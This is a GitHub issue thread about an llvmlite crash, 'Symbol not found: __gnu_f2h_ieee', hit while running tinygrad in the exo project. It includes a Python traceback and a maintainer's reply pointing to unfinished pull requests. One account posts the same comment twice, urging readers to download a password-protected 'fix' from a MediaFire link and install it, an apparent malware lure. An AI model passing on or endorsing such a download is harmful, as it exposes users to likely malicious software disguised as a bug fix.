Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Aborted (Core dumped) with Symbol not found __gnu_f2h_ieee #1075

Open
HysenX-LI opened this issue Aug 27, 2024 · 3 comments
Open

Aborted (Core dumped) with Symbol not found __gnu_f2h_ieee #1075

HysenX-LI opened this issue Aug 27, 2024 · 3 comments
Labels
feature_request Feature Request

Comments

@HysenX-LI
Copy link

Reporting a bug

When I called the LLVM package using tinygrad, I got the following erro.
Aborted (Core dumped) with Symbol not found __gnu_f2h_ieee.
This issue seems to have been resolved in earlier versions of LLVM but I don't know why my project is reporting an error here.
Is there any way to solve this problem? Thank you.

The following is the code error message
LLVM ERROR: Symbol not found: __gnu_f2h_ieee
Fatal Python error: Aborted
Current thread 0x00007fefcb8d0080 (most recent call first):
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/llvmlite/binding/ffi.py", line 192 in call
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/llvmlite/binding/executionengine.py", line 163 in add_object_file
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/tinygrad/runtime/ops_llvm.py", line 24 in init
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/tinygrad/engine/realize.py", line 83 in init
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/tinygrad/engine/realize.py", line 164 in get_runner
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/tinygrad/engine/realize.py", line 194 in lower_schedule_item
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/tinygrad/engine/realize.py", line 210 in lower_schedule
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/tinygrad/engine/realize.py", line 223 in run_schedule
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/tinygrad/tensor.py", line 203 in realize
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/tinygrad/tensor.py", line 3166 in _wrapper
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/tinygrad/nn/state.py", line 129 in load_state_dict
File "/home/user/exo/exo/inference/tinygrad/inference.py", line 47 in build_transformer
File "/home/user/exo/exo/inference/tinygrad/inference.py", line 93 in ensure_shard
File "/home/user/exo/exo/inference/tinygrad/inference.py", line 57 in infer_prompt
File "/home/user/exo/exo/orchestration/standard_node.py", line 137 in _process_prompt
File "/home/user/exo/exo/orchestration/standard_node.py", line 101 in process_prompt
File "/home/user/exo/exo/api/chatgpt_api.py", line 244 in handle_post_chat_completions
File "/home/user/exo/exo/api/chatgpt_api.py", line 184 in middleware
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/aiohttp/web_middlewares.py", line 114 in impl
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/aiohttp/web_app.py", line 537 in _handle
File "/root/anaconda3/envs/exo/lib/python3.12/site-packages/aiohttp/web_protocol.py", line 459 in _handle_request
File "/root/anaconda3/envs/exo/lib/python3.12/asyncio/events.py", line 88 in _run
File "/root/anaconda3/envs/exo/lib/python3.12/asyncio/base_events.py", line 1987 in _run_once
File "/root/anaconda3/envs/exo/lib/python3.12/asyncio/base_events.py", line 641 in run_forever
File "/root/anaconda3/envs/exo/lib/python3.12/asyncio/base_events.py", line 674 in run_until_complete
File "/home/user/exo/main.py", line 192 in

@amir1387aht
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

1 similar comment
@amir1387aht
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@gmarkall
Copy link
Member

We need to finish off #986 / #1072 to resolve this, but I didn't get chance to look at it for a while.

@HysenX-LI
Copy link
Author

Thank you for your reply.

@stuartarchibald stuartarchibald added the feature_request Feature Request label Aug 27, 2024
@HysenX-LI
Copy link
Author

Is there any Linux version recommendation to avoid this issue? Thanks.

@HysenX-LI HysenX-LI reopened this Aug 28, 2024
# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
feature_request Feature Request
Projects
None yet
Development

No branches or pull requests

5 participants
@gmarkall @stuartarchibald @HysenX-LI @amir1387aht and others